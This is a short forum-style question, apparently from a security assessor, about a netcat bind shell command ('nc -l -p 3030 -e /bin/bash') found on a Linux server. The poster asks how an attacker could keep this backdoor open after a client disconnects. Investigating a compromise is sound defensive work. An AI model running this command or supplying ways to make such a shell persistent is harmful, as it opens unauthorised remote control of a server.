I have found the following command several times in one of the linux servers during an assessment:
nc -l -p 3030 -e /bin/bash
This enables a hacker to gain control over this sever via bash. By testing it, I realized that whenever the client interrupts the connection, the door is again closed.
Is there a way for the hacker to keep this door persistently opened?